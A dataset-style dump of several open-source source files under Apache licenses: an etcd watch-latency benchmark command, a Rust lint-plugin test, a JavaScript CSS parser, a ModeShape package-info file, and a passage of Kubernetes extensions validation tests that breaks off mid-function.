repo_name stringlengths 4 116 | path stringlengths 4 379 | size stringlengths 1 7 | content stringlengths 3 1.05M | license stringclasses 15
values |
|---|---|---|---|---|
a-robinson/etcd | tools/benchmark/cmd/watch_latency.go | 2913 | // Copyright 2015 The etcd Authors
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package cmd
import (
"context"
"fmt"
"os"
"sync"
"time"
"github.com/coreos/etcd/clientv3"
"github.com/coreos/etcd/pkg/report"
"github.com/spf13/cobra"
"golang.org/x/time/rate"
"gopkg.in/cheggaaa/pb.v1"
)
// watchLatencyCmd represents the watch latency command
var watchLatencyCmd = &cobra.Command{
Use: "watch-latency",
Short: "Benchmark watch latency",
Long: `Benchmarks the latency for watches by measuring
the latency between writing to a key and receiving the
associated watch response.`,
Run: watchLatencyFunc,
}
var (
watchLTotal int
watchLPutRate int
watchLKeySize int
watchLValueSize int
)
func init() {
RootCmd.AddCommand(watchLatencyCmd)
watchLatencyCmd.Flags().IntVar(&watchLTotal, "total", 10000, "Total number of put requests")
watchLatencyCmd.Flags().IntVar(&watchLPutRate, "put-rate", 100, "Number of keys to put per second")
watchLatencyCmd.Flags().IntVar(&watchLKeySize, "key-size", 32, "Key size of watch response")
watchLatencyCmd.Flags().IntVar(&watchLValueSize, "val-size", 32, "Value size of watch response")
}
func watchLatencyFunc(cmd *cobra.Command, args []string) {
key := string(mustRandBytes(watchLKeySize))
value := string(mustRandBytes(watchLValueSize))
clients := mustCreateClients(totalClients, totalConns)
putClient := mustCreateConn()
wchs := make([]clientv3.WatchChan, len(clients))
for i := range wchs {
wchs[i] = clients[i].Watch(context.TODO(), key)
}
bar = pb.New(watchLTotal)
bar.Format("Bom !")
bar.Start()
limiter := rate.NewLimiter(rate.Limit(watchLPutRate), watchLPutRate)
r := newReport()
rc := r.Run()
for i := 0; i < watchLTotal; i++ {
// limit key put as per reqRate
if err := limiter.Wait(context.TODO()); err != nil {
break
}
var st time.Time
var wg sync.WaitGroup
wg.Add(len(clients))
barrierc := make(chan struct{})
for _, wch := range wchs {
ch := wch
go func() {
<-barrierc
<-ch
r.Results() <- report.Result{Start: st, End: time.Now()}
wg.Done()
}()
}
if _, err := putClient.Put(context.TODO(), key, value); err != nil {
fmt.Fprintf(os.Stderr, "Failed to Put for watch latency benchmark: %v\n", err)
os.Exit(1)
}
st = time.Now()
close(barrierc)
wg.Wait()
bar.Increment()
}
close(r.Results())
bar.Finish()
fmt.Printf("%s", <-rc)
}
| apache-2.0 |
graydon/rust | src/test/ui-fulldeps/lint-plugin-deny-attr.rs | 250 | // aux-build:lint-plugin-test.rs
// ignore-stage1
#![feature(plugin)]
#![plugin(lint_plugin_test)]
//~^ WARN use of deprecated attribute `plugin`
#![deny(test_lint)]
fn lintme() { } //~ ERROR item is named 'lintme'
pub fn main() {
lintme();
}
| apache-2.0 |
changgyun-woo/webida-client | apps/ide/src/plugins/webida.editor.code-editor/lib/css-parse-stringify/css-parse.js | 8925 | /*
* Copyright (c) 2012-2015 S-Core Co., Ltd.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
define(function (require, exports, module) {
module.exports = function(css, options){
options = options || {};
/**
* Positional.
*/
var lineno = 1;
var column = 1;
/**
* Update lineno and column based on `str`.
*/
function updatePosition(str) {
var lines = str.match(/\n/g);
if (lines) lineno += lines.length;
var i = str.lastIndexOf('\n');
column = ~i ? str.length - i : column + str.length;
}
/**
* Mark position and patch `node.position`.
*/
function position() {
var start = { line: lineno, column: column };
if (!options.position) return positionNoop;
return function(node){
node.position = {
start: start,
end: { line: lineno, column: column },
source: options.source
};
whitespace();
return node;
}
}
/**
* Return `node`.
*/
function positionNoop(node) {
whitespace();
return node;
}
/**
* Error `msg`.
*/
function error(msg) {
var err = new Error(msg + ' near line ' + lineno + ':' + column);
err.filename = options.source;
err.line = lineno;
err.column = column;
err.source = css;
throw err;
}
/**
* Parse stylesheet.
*/
function stylesheet() {
return {
type: 'stylesheet',
stylesheet: {
rules: rules()
}
};
}
/**
* Opening brace.
*/
function open() {
return match(/^{\s*/);
}
/**
* Closing brace.
*/
function close() {
return match(/^}/);
}
/**
* Parse ruleset.
*/
function rules() {
var node;
var rules = [];
whitespace();
comments(rules);
while (css.charAt(0) != '}' && (node = atrule() || rule())) {
rules.push(node);
comments(rules);
}
return rules;
}
/**
* Match `re` and return captures.
*/
function match(re) {
var m = re.exec(css);
if (!m) return;
var str = m[0];
updatePosition(str);
css = css.slice(str.length);
return m;
}
/**
* Parse whitespace.
*/
function whitespace() {
match(/^\s*/);
}
/**
* Parse comments;
*/
function comments(rules) {
var c;
rules = rules || [];
while (c = comment()) rules.push(c);
return rules;
}
/**
* Parse comment.
*/
function comment() {
var pos = position();
if ('/' != css.charAt(0) || '*' != css.charAt(1)) return;
var i = 2;
while (null != css.charAt(i) && ('*' != css.charAt(i) || '/' != css.charAt(i + 1))) ++i;
i += 2;
var str = css.slice(2, i - 2);
column += 2;
updatePosition(str);
css = css.slice(i);
column += 2;
return pos({
type: 'comment',
comment: str
});
}
/**
* Parse selector.
*/
function selector() {
var m = match(/^([^{]+)/);
if (!m) return;
return trim(m[0]).split(/\s*,\s*/);
}
/**
* Parse declaration.
*/
function declaration() {
var pos = position();
// prop
var prop = match(/^(\*?[-#\/\*\w]+(\[[0-9a-z_-]+\])?)\s*/);
if (!prop) return;
prop = trim(prop[0]);
// :
if (!match(/^:\s*/)) return error("property missing ':'");
// val
var val = match(/^((?:'(?:\\'|.)*?'|"(?:\\"|.)*?"|\([^\)]*?\)|[^};])+)/);
if (!val) return error('property missing value');
var ret = pos({
type: 'declaration',
property: prop,
value: trim(val[0])
});
// ;
match(/^[;\s]*/);
return ret;
}
/**
* Parse declarations.
*/
function declarations() {
var decls = [];
if (!open()) return error("missing '{'");
comments(decls);
// declarations
var decl;
while (decl = declaration()) {
decls.push(decl);
comments(decls);
}
if (!close()) return error("missing '}'");
return decls;
}
/**
* Parse keyframe.
*/
function keyframe() {
var m;
var vals = [];
var pos = position();
while (m = match(/^((\d+\.\d+|\.\d+|\d+)%?|[a-z]+)\s*/)) {
vals.push(m[1]);
match(/^,\s*/);
}
if (!vals.length) return;
return pos({
type: 'keyframe',
values: vals,
declarations: declarations()
});
}
/**
* Parse keyframes.
*/
function atkeyframes() {
var pos = position();
var m = match(/^@([-\w]+)?keyframes */);
if (!m) return;
var vendor = m[1];
// identifier
var m = match(/^([-\w]+)\s*/);
if (!m) return error("@keyframes missing name");
var name = m[1];
if (!open()) return error("@keyframes missing '{'");
var frame;
var frames = comments();
while (frame = keyframe()) {
frames.push(frame);
frames = frames.concat(comments());
}
if (!close()) return error("@keyframes missing '}'");
return pos({
type: 'keyframes',
name: name,
vendor: vendor,
keyframes: frames
});
}
/**
* Parse supports.
*/
function atsupports() {
var pos = position();
var m = match(/^@supports *([^{]+)/);
if (!m) return;
var supports = trim(m[1]);
if (!open()) return error("@supports missing '{'");
var style = comments().concat(rules());
if (!close()) return error("@supports missing '}'");
return pos({
type: 'supports',
supports: supports,
rules: style
});
}
/**
* Parse host.
*/
function athost() {
var pos = position();
var m = match(/^@host */);
if (!m) return;
if (!open()) return error("@host missing '{'");
var style = comments().concat(rules());
if (!close()) return error("@host missing '}'");
return pos({
type: 'host',
rules: style
});
}
/**
* Parse media.
*/
function atmedia() {
var pos = position();
var m = match(/^@media *([^{]+)/);
if (!m) return;
var media = trim(m[1]);
if (!open()) return error("@media missing '{'");
var style = comments().concat(rules());
if (!close()) return error("@media missing '}'");
return pos({
type: 'media',
media: media,
rules: style
});
}
/**
* Parse paged media.
*/
function atpage() {
var pos = position();
var m = match(/^@page */);
if (!m) return;
var sel = selector() || [];
if (!open()) return error("@page missing '{'");
var decls = comments();
// declarations
var decl;
while (decl = declaration()) {
decls.push(decl);
decls = decls.concat(comments());
}
if (!close()) return error("@page missing '}'");
return pos({
type: 'page',
selectors: sel,
declarations: decls
});
}
/**
* Parse document.
*/
function atdocument() {
var pos = position();
var m = match(/^@([-\w]+)?document *([^{]+)/);
if (!m) return;
var vendor = trim(m[1]);
var doc = trim(m[2]);
if (!open()) return error("@document missing '{'");
var style = comments().concat(rules());
if (!close()) return error("@document missing '}'");
return pos({
type: 'document',
document: doc,
vendor: vendor,
rules: style
});
}
/**
* Parse import
*/
function atimport() {
return _atrule('import');
}
/**
* Parse charset
*/
function atcharset() {
return _atrule('charset');
}
/**
* Parse namespace
*/
function atnamespace() {
return _atrule('namespace')
}
/**
* Parse non-block at-rules
*/
function _atrule(name) {
var pos = position();
var m = match(new RegExp('^@' + name + ' *([^;\\n]+);'));
if (!m) return;
var ret = { type: name };
ret[name] = trim(m[1]);
return pos(ret);
}
/**
* Parse at rule.
*/
function atrule() {
if (css[0] != '@') return;
return atkeyframes()
|| atmedia()
|| atsupports()
|| atimport()
|| atcharset()
|| atnamespace()
|| atdocument()
|| atpage()
|| athost();
}
/**
* Parse rule.
*/
function rule() {
var pos = position();
var sel = selector();
if (!sel) return;
comments();
return pos({
type: 'rule',
selectors: sel,
declarations: declarations()
});
}
return stylesheet();
};
/**
* Trim `str`.
*/
function trim(str) {
return str ? str.replace(/^\s+|\s+$/g, '') : '';
}
});
| apache-2.0 |
data-experts/modeshape | sequencers/modeshape-sequencer-msoffice/src/main/java/org/modeshape/sequencer/msoffice/excel/package-info.java | 718 | /*
* ModeShape (http://www.modeshape.org)
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* The classes for reading Microsoft Excel metadata.
*/
package org.modeshape.sequencer.msoffice.excel;
| apache-2.0 |
joshuawilson/origin | Godeps/_workspace/src/k8s.io/kubernetes/pkg/apis/extensions/validation/validation_test.go | 34359 | /*
Copyright 2014 The Kubernetes Authors All rights reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package validation
import (
"fmt"
"strings"
"testing"
"k8s.io/kubernetes/pkg/api"
"k8s.io/kubernetes/pkg/apis/extensions"
"k8s.io/kubernetes/pkg/util"
errors "k8s.io/kubernetes/pkg/util/fielderrors"
)
func TestValidateHorizontalPodAutoscaler(t *testing.T) {
successCases := []extensions.HorizontalPodAutoscaler{
{
ObjectMeta: api.ObjectMeta{
Name: "myautoscaler",
Namespace: api.NamespaceDefault,
},
Spec: extensions.HorizontalPodAutoscalerSpec{
ScaleRef: extensions.SubresourceReference{
Kind: "ReplicationController",
Name: "myrc",
Subresource: "scale",
},
MinReplicas: newInt(1),
MaxReplicas: 5,
CPUUtilization: &extensions.CPUTargetUtilization{TargetPercentage: 70},
},
},
{
ObjectMeta: api.ObjectMeta{
Name: "myautoscaler",
Namespace: api.NamespaceDefault,
},
Spec: extensions.HorizontalPodAutoscalerSpec{
ScaleRef: extensions.SubresourceReference{
Kind: "ReplicationController",
Name: "myrc",
Subresource: "scale",
},
MinReplicas: newInt(1),
MaxReplicas: 5,
},
},
}
for _, successCase := range successCases {
if errs := ValidateHorizontalPodAutoscaler(&successCase); len(errs) != 0 {
t.Errorf("expected success: %v", errs)
}
}
errorCases := []struct {
horizontalPodAutoscaler extensions.HorizontalPodAutoscaler
msg string
}{
{
horizontalPodAutoscaler: extensions.HorizontalPodAutoscaler{
ObjectMeta: api.ObjectMeta{Name: "myautoscaler", Namespace: api.NamespaceDefault},
Spec: extensions.HorizontalPodAutoscalerSpec{
ScaleRef: extensions.SubresourceReference{Name: "myrc", Subresource: "scale"},
MinReplicas: newInt(1),
MaxReplicas: 5,
CPUUtilization: &extensions.CPUTargetUtilization{TargetPercentage: 70},
},
},
msg: "scaleRef.kind: required",
},
{
horizontalPodAutoscaler: extensions.HorizontalPodAutoscaler{
ObjectMeta: api.ObjectMeta{Name: "myautoscaler", Namespace: api.NamespaceDefault},
Spec: extensions.HorizontalPodAutoscalerSpec{
ScaleRef: extensions.SubresourceReference{Kind: "..", Name: "myrc", Subresource: "scale"},
MinReplicas: newInt(1),
MaxReplicas: 5,
CPUUtilization: &extensions.CPUTargetUtilization{TargetPercentage: 70},
},
},
msg: "scaleRef.kind: invalid",
},
{
horizontalPodAutoscaler: extensions.HorizontalPodAutoscaler{
ObjectMeta: api.ObjectMeta{Name: "myautoscaler", Namespace: api.NamespaceDefault},
Spec: extensions.HorizontalPodAutoscalerSpec{
ScaleRef: extensions.SubresourceReference{Kind: "ReplicationController", Subresource: "scale"},
MinReplicas: newInt(1),
MaxReplicas: 5,
CPUUtilization: &extensions.CPUTargetUtilization{TargetPercentage: 70},
},
},
msg: "scaleRef.name: required",
},
{
horizontalPodAutoscaler: extensions.HorizontalPodAutoscaler{
ObjectMeta: api.ObjectMeta{Name: "myautoscaler", Namespace: api.NamespaceDefault},
Spec: extensions.HorizontalPodAutoscalerSpec{
ScaleRef: extensions.SubresourceReference{Kind: "ReplicationController", Name: "..", Subresource: "scale"},
MinReplicas: newInt(1),
MaxReplicas: 5,
CPUUtilization: &extensions.CPUTargetUtilization{TargetPercentage: 70},
},
},
msg: "scaleRef.name: invalid",
},
{
horizontalPodAutoscaler: extensions.HorizontalPodAutoscaler{
ObjectMeta: api.ObjectMeta{Name: "myautoscaler", Namespace: api.NamespaceDefault},
Spec: extensions.HorizontalPodAutoscalerSpec{
ScaleRef: extensions.SubresourceReference{Kind: "ReplicationController", Name: "myrc", Subresource: ""},
MinReplicas: newInt(1),
MaxReplicas: 5,
CPUUtilization: &extensions.CPUTargetUtilization{TargetPercentage: 70},
},
},
msg: "scaleRef.subresource: required",
},
{
horizontalPodAutoscaler: extensions.HorizontalPodAutoscaler{
ObjectMeta: api.ObjectMeta{Name: "myautoscaler", Namespace: api.NamespaceDefault},
Spec: extensions.HorizontalPodAutoscalerSpec{
ScaleRef: extensions.SubresourceReference{Kind: "ReplicationController", Name: "myrc", Subresource: ".."},
MinReplicas: newInt(1),
MaxReplicas: 5,
CPUUtilization: &extensions.CPUTargetUtilization{TargetPercentage: 70},
},
},
msg: "scaleRef.subresource: invalid",
},
{
horizontalPodAutoscaler: extensions.HorizontalPodAutoscaler{
ObjectMeta: api.ObjectMeta{Name: "myautoscaler", Namespace: api.NamespaceDefault},
Spec: extensions.HorizontalPodAutoscalerSpec{
ScaleRef: extensions.SubresourceReference{Kind: "ReplicationController", Name: "myrc", Subresource: "randomsubresource"},
MinReplicas: newInt(1),
MaxReplicas: 5,
CPUUtilization: &extensions.CPUTargetUtilization{TargetPercentage: 70},
},
},
msg: "scaleRef.subresource: unsupported",
},
{
horizontalPodAutoscaler: extensions.HorizontalPodAutoscaler{
ObjectMeta: api.ObjectMeta{
Name: "myautoscaler",
Namespace: api.NamespaceDefault,
},
Spec: extensions.HorizontalPodAutoscalerSpec{
ScaleRef: extensions.SubresourceReference{
Subresource: "scale",
},
MinReplicas: newInt(-1),
MaxReplicas: 5,
},
},
msg: "must be bigger or equal to 1",
},
{
horizontalPodAutoscaler: extensions.HorizontalPodAutoscaler{
ObjectMeta: api.ObjectMeta{
Name: "myautoscaler",
Namespace: api.NamespaceDefault,
},
Spec: extensions.HorizontalPodAutoscalerSpec{
ScaleRef: extensions.SubresourceReference{
Subresource: "scale",
},
MinReplicas: newInt(7),
MaxReplicas: 5,
},
},
msg: "must be bigger or equal to minReplicas",
},
{
horizontalPodAutoscaler: extensions.HorizontalPodAutoscaler{
ObjectMeta: api.ObjectMeta{
Name: "myautoscaler",
Namespace: api.NamespaceDefault,
},
Spec: extensions.HorizontalPodAutoscalerSpec{
ScaleRef: extensions.SubresourceReference{
Subresource: "scale",
},
MinReplicas: newInt(1),
MaxReplicas: 5,
CPUUtilization: &extensions.CPUTargetUtilization{TargetPercentage: -70},
},
},
msg: "must be non-negative",
},
}
for _, c := range errorCases {
errs := ValidateHorizontalPodAutoscaler(&c.horizontalPodAutoscaler)
if len(errs) == 0 {
t.Errorf("expected failure for %s", c.msg)
} else if !strings.Contains(errs[0].Error(), c.msg) {
t.Errorf("unexpected error: %v, expected: %s", errs[0], c.msg)
}
}
}
func TestValidateDaemonSetStatusUpdate(t *testing.T) {
type dsUpdateTest struct {
old extensions.DaemonSet
update extensions.DaemonSet
}
successCases := []dsUpdateTest{
{
old: extensions.DaemonSet{
ObjectMeta: api.ObjectMeta{Name: "abc", Namespace: api.NamespaceDefault},
Status: extensions.DaemonSetStatus{
CurrentNumberScheduled: 1,
NumberMisscheduled: 2,
DesiredNumberScheduled: 3,
},
},
update: extensions.DaemonSet{
ObjectMeta: api.ObjectMeta{Name: "abc", Namespace: api.NamespaceDefault},
Status: extensions.DaemonSetStatus{
CurrentNumberScheduled: 1,
NumberMisscheduled: 1,
DesiredNumberScheduled: 3,
},
},
},
}
for _, successCase := range successCases {
successCase.old.ObjectMeta.ResourceVersion = "1"
successCase.update.ObjectMeta.ResourceVersion = "1"
if errs := ValidateDaemonSetStatusUpdate(&successCase.update, &successCase.old); len(errs) != 0 {
t.Errorf("expected success: %v", errs)
}
}
errorCases := map[string]dsUpdateTest{
"negative values": {
old: extensions.DaemonSet{
ObjectMeta: api.ObjectMeta{Name: "abc", Namespace: api.NamespaceDefault},
Status: extensions.DaemonSetStatus{
CurrentNumberScheduled: 1,
NumberMisscheduled: 2,
DesiredNumberScheduled: 3,
},
},
update: extensions.DaemonSet{
ObjectMeta: api.ObjectMeta{Name: "abc", Namespace: api.NamespaceDefault},
Status: extensions.DaemonSetStatus{
CurrentNumberScheduled: -1,
NumberMisscheduled: -1,
DesiredNumberScheduled: -3,
},
},
},
}
for testName, errorCase := range errorCases {
if errs := ValidateDaemonSetStatusUpdate(&errorCase.old, &errorCase.update); len(errs) == 0 {
t.Errorf("expected failure: %s", testName)
}
}
}
func TestValidateDaemonSetUpdate(t *testing.T) {
validSelector := map[string]string{"a": "b"}
validSelector2 := map[string]string{"c": "d"}
invalidSelector := map[string]string{"NoUppercaseOrSpecialCharsLike=Equals": "b"}
validPodSpecAbc := api.PodSpec{
RestartPolicy: api.RestartPolicyAlways,
DNSPolicy: api.DNSClusterFirst,
Containers: []api.Container{{Name: "abc", Image: "image", ImagePullPolicy: "IfNotPresent"}},
}
validPodSpecDef := api.PodSpec{
RestartPolicy: api.RestartPolicyAlways,
DNSPolicy: api.DNSClusterFirst,
Containers: []api.Container{{Name: "def", Image: "image", ImagePullPolicy: "IfNotPresent"}},
}
validPodSpecNodeSelector := api.PodSpec{
NodeSelector: validSelector,
NodeName: "xyz",
RestartPolicy: api.RestartPolicyAlways,
DNSPolicy: api.DNSClusterFirst,
Containers: []api.Container{{Name: "abc", Image: "image", ImagePullPolicy: "IfNotPresent"}},
}
validPodSpecVolume := api.PodSpec{
Volumes: []api.Volume{{Name: "gcepd", VolumeSource: api.VolumeSource{GCEPersistentDisk: &api.GCEPersistentDiskVolumeSource{PDName: "my-PD", FSType: "ext4", Partition: 1, ReadOnly: false}}}},
RestartPolicy: api.RestartPolicyAlways,
DNSPolicy: api.DNSClusterFirst,
Containers: []api.Container{{Name: "abc", Image: "image", ImagePullPolicy: "IfNotPresent"}},
}
validPodTemplateAbc := api.PodTemplate{
Template: api.PodTemplateSpec{
ObjectMeta: api.ObjectMeta{
Labels: validSelector,
},
Spec: validPodSpecAbc,
},
}
validPodTemplateNodeSelector := api.PodTemplate{
Template: api.PodTemplateSpec{
ObjectMeta: api.ObjectMeta{
Labels: validSelector,
},
Spec: validPodSpecNodeSelector,
},
}
validPodTemplateAbc2 := api.PodTemplate{
Template: api.PodTemplateSpec{
ObjectMeta: api.ObjectMeta{
Labels: validSelector2,
},
Spec: validPodSpecAbc,
},
}
validPodTemplateDef := api.PodTemplate{
Template: api.PodTemplateSpec{
ObjectMeta: api.ObjectMeta{
Labels: validSelector2,
},
Spec: validPodSpecDef,
},
}
invalidPodTemplate := api.PodTemplate{
Template: api.PodTemplateSpec{
Spec: api.PodSpec{
RestartPolicy: api.RestartPolicyAlways,
DNSPolicy: api.DNSClusterFirst,
},
ObjectMeta: api.ObjectMeta{
Labels: invalidSelector,
},
},
}
readWriteVolumePodTemplate := api.PodTemplate{
Template: api.PodTemplateSpec{
ObjectMeta: api.ObjectMeta{
Labels: validSelector,
},
Spec: validPodSpecVolume,
},
}
type dsUpdateTest struct {
old extensions.DaemonSet
update extensions.DaemonSet
}
successCases := []dsUpdateTest{
{
old: extensions.DaemonSet{
ObjectMeta: api.ObjectMeta{Name: "abc", Namespace: api.NamespaceDefault},
Spec: extensions.DaemonSetSpec{
Selector: validSelector,
Template: &validPodTemplateAbc.Template,
},
},
update: extensions.DaemonSet{
ObjectMeta: api.ObjectMeta{Name: "abc", Namespace: api.NamespaceDefault},
Spec: extensions.DaemonSetSpec{
Selector: validSelector,
Template: &validPodTemplateAbc.Template,
},
},
},
{
old: extensions.DaemonSet{
ObjectMeta: api.ObjectMeta{Name: "abc", Namespace: api.NamespaceDefault},
Spec: extensions.DaemonSetSpec{
Selector: validSelector,
Template: &validPodTemplateAbc.Template,
},
},
update: extensions.DaemonSet{
ObjectMeta: api.ObjectMeta{Name: "abc", Namespace: api.NamespaceDefault},
Spec: extensions.DaemonSetSpec{
Selector: validSelector2,
Template: &validPodTemplateAbc2.Template,
},
},
},
{
old: extensions.DaemonSet{
ObjectMeta: api.ObjectMeta{Name: "abc", Namespace: api.NamespaceDefault},
Spec: extensions.DaemonSetSpec{
Selector: validSelector,
Template: &validPodTemplateAbc.Template,
},
},
update: extensions.DaemonSet{
ObjectMeta: api.ObjectMeta{Name: "abc", Namespace: api.NamespaceDefault},
Spec: extensions.DaemonSetSpec{
Selector: validSelector,
Template: &validPodTemplateNodeSelector.Template,
},
},
},
}
for _, successCase := range successCases {
successCase.old.ObjectMeta.ResourceVersion = "1"
successCase.update.ObjectMeta.ResourceVersion = "1"
if errs := ValidateDaemonSetUpdate(&successCase.old, &successCase.update); len(errs) != 0 {
t.Errorf("expected success: %v", errs)
}
}
errorCases := map[string]dsUpdateTest{
"change daemon name": {
old: extensions.DaemonSet{
ObjectMeta: api.ObjectMeta{Name: "", Namespace: api.NamespaceDefault},
Spec: extensions.DaemonSetSpec{
Selector: validSelector,
Template: &validPodTemplateAbc.Template,
},
},
update: extensions.DaemonSet{
ObjectMeta: api.ObjectMeta{Name: "abc", Namespace: api.NamespaceDefault},
Spec: extensions.DaemonSetSpec{
Selector: validSelector,
Template: &validPodTemplateAbc.Template,
},
},
},
"invalid selector": {
old: extensions.DaemonSet{
ObjectMeta: api.ObjectMeta{Name: "", Namespace: api.NamespaceDefault},
Spec: extensions.DaemonSetSpec{
Selector: validSelector,
Template: &validPodTemplateAbc.Template,
},
},
update: extensions.DaemonSet{
ObjectMeta: api.ObjectMeta{Name: "abc", Namespace: api.NamespaceDefault},
Spec: extensions.DaemonSetSpec{
Selector: invalidSelector,
Template: &validPodTemplateAbc.Template,
},
},
},
"invalid pod": {
old: extensions.DaemonSet{
ObjectMeta: api.ObjectMeta{Name: "", Namespace: api.NamespaceDefault},
Spec: extensions.DaemonSetSpec{
Selector: validSelector,
Template: &validPodTemplateAbc.Template,
},
},
update: extensions.DaemonSet{
ObjectMeta: api.ObjectMeta{Name: "abc", Namespace: api.NamespaceDefault},
Spec: extensions.DaemonSetSpec{
Selector: validSelector,
Template: &invalidPodTemplate.Template,
},
},
},
"change container image": {
old: extensions.DaemonSet{
ObjectMeta: api.ObjectMeta{Name: "", Namespace: api.NamespaceDefault},
Spec: extensions.DaemonSetSpec{
Selector: validSelector,
Template: &validPodTemplateAbc.Template,
},
},
update: extensions.DaemonSet{
ObjectMeta: api.ObjectMeta{Name: "abc", Namespace: api.NamespaceDefault},
Spec: extensions.DaemonSetSpec{
Selector: validSelector,
Template: &validPodTemplateDef.Template,
},
},
},
"read-write volume": {
old: extensions.DaemonSet{
ObjectMeta: api.ObjectMeta{Name: "", Namespace: api.NamespaceDefault},
Spec: extensions.DaemonSetSpec{
Selector: validSelector,
Template: &validPodTemplateAbc.Template,
},
},
update: extensions.DaemonSet{
ObjectMeta: api.ObjectMeta{Name: "abc", Namespace: api.NamespaceDefault},
Spec: extensions.DaemonSetSpec{
Selector: validSelector,
Template: &readWriteVolumePodTemplate.Template,
},
},
},
}
for testName, errorCase := range errorCases {
if errs := ValidateDaemonSetUpdate(&errorCase.old, &errorCase.update); len(errs) == 0 {
t.Errorf("expected failure: %s", testName)
}
}
}
func TestValidateDaemonSet(t *testing.T) {
validSelector := map[string]string{"a": "b"}
validPodTemplate := api.PodTemplate{
Template: api.PodTemplateSpec{
ObjectMeta: api.ObjectMeta{
Labels: validSelector,
},
Spec: api.PodSpec{
RestartPolicy: api.RestartPolicyAlways,
DNSPolicy: api.DNSClusterFirst,
Containers: []api.Container{{Name: "abc", Image: "image", ImagePullPolicy: "IfNotPresent"}},
},
},
}
invalidSelector := map[string]string{"NoUppercaseOrSpecialCharsLike=Equals": "b"}
invalidPodTemplate := api.PodTemplate{
Template: api.PodTemplateSpec{
Spec: api.PodSpec{
RestartPolicy: api.RestartPolicyAlways,
DNSPolicy: api.DNSClusterFirst,
},
ObjectMeta: api.ObjectMeta{
Labels: invalidSelector,
},
},
}
successCases := []extensions.DaemonSet{
{
ObjectMeta: api.ObjectMeta{Name: "abc", Namespace: api.NamespaceDefault},
Spec: extensions.DaemonSetSpec{
Selector: validSelector,
Template: &validPodTemplate.Template,
},
},
{
ObjectMeta: api.ObjectMeta{Name: "abc-123", Namespace: api.NamespaceDefault},
Spec: extensions.DaemonSetSpec{
Selector: validSelector,
Template: &validPodTemplate.Template,
},
},
}
for _, successCase := range successCases {
if errs := ValidateDaemonSet(&successCase); len(errs) != 0 {
t.Errorf("expected success: %v", errs)
}
}
errorCases := map[string]extensions.DaemonSet{
"zero-length ID": {
ObjectMeta: api.ObjectMeta{Name: "", Namespace: api.NamespaceDefault},
Spec: extensions.DaemonSetSpec{
Selector: validSelector,
Template: &validPodTemplate.Template,
},
},
"missing-namespace": {
ObjectMeta: api.ObjectMeta{Name: "abc-123"},
Spec: extensions.DaemonSetSpec{
Selector: validSelector,
Template: &validPodTemplate.Template,
},
},
"empty selector": {
ObjectMeta: api.ObjectMeta{Name: "abc", Namespace: api.NamespaceDefault},
Spec: extensions.DaemonSetSpec{
Template: &validPodTemplate.Template,
},
},
"selector_doesnt_match": {
ObjectMeta: api.ObjectMeta{Name: "abc", Namespace: api.NamespaceDefault},
Spec: extensions.DaemonSetSpec{
Selector: map[string]string{"foo": "bar"},
Template: &validPodTemplate.Template,
},
},
"invalid manifest": {
ObjectMeta: api.ObjectMeta{Name: "abc", Namespace: api.NamespaceDefault},
Spec: extensions.DaemonSetSpec{
Selector: validSelector,
},
},
"invalid_label": {
ObjectMeta: api.ObjectMeta{
Name: "abc-123",
Namespace: api.NamespaceDefault,
Labels: map[string]string{
"NoUppercaseOrSpecialCharsLike=Equals": "bar",
},
},
Spec: extensions.DaemonSetSpec{
Selector: validSelector,
Template: &validPodTemplate.Template,
},
},
"invalid_label 2": {
ObjectMeta: api.ObjectMeta{
Name: "abc-123",
Namespace: api.NamespaceDefault,
Labels: map[string]string{
"NoUppercaseOrSpecialCharsLike=Equals": "bar",
},
},
Spec: extensions.DaemonSetSpec{
Template: &invalidPodTemplate.Template,
},
},
"invalid_annotation": {
ObjectMeta: api.ObjectMeta{
Name: "abc-123",
Namespace: api.NamespaceDefault,
Annotations: map[string]string{
"NoUppercaseOrSpecialCharsLike=Equals": "bar",
},
},
Spec: extensions.DaemonSetSpec{
Selector: validSelector,
Template: &validPodTemplate.Template,
},
},
"invalid restart policy 1": {
ObjectMeta: api.ObjectMeta{
Name: "abc-123",
Namespace: api.NamespaceDefault,
},
Spec: extensions.DaemonSetSpec{
Selector: validSelector,
Template: &api.PodTemplateSpec{
Spec: api.PodSpec{
RestartPolicy: api.RestartPolicyOnFailure,
DNSPolicy: api.DNSClusterFirst,
Containers: []api.Container{{Name: "ctr", Image: "image", ImagePullPolicy: "IfNotPresent"}},
},
ObjectMeta: api.ObjectMeta{
Labels: validSelector,
},
},
},
},
"invalid restart policy 2": {
ObjectMeta: api.ObjectMeta{
Name: "abc-123",
Namespace: api.NamespaceDefault,
},
Spec: extensions.DaemonSetSpec{
Selector: validSelector,
Template: &api.PodTemplateSpec{
Spec: api.PodSpec{
RestartPolicy: api.RestartPolicyNever,
DNSPolicy: api.DNSClusterFirst,
Containers: []api.Container{{Name: "ctr", Image: "image", ImagePullPolicy: "IfNotPresent"}},
},
ObjectMeta: api.ObjectMeta{
Labels: validSelector,
},
},
},
},
}
for k, v := range errorCases {
errs := ValidateDaemonSet(&v)
if len(errs) == 0 {
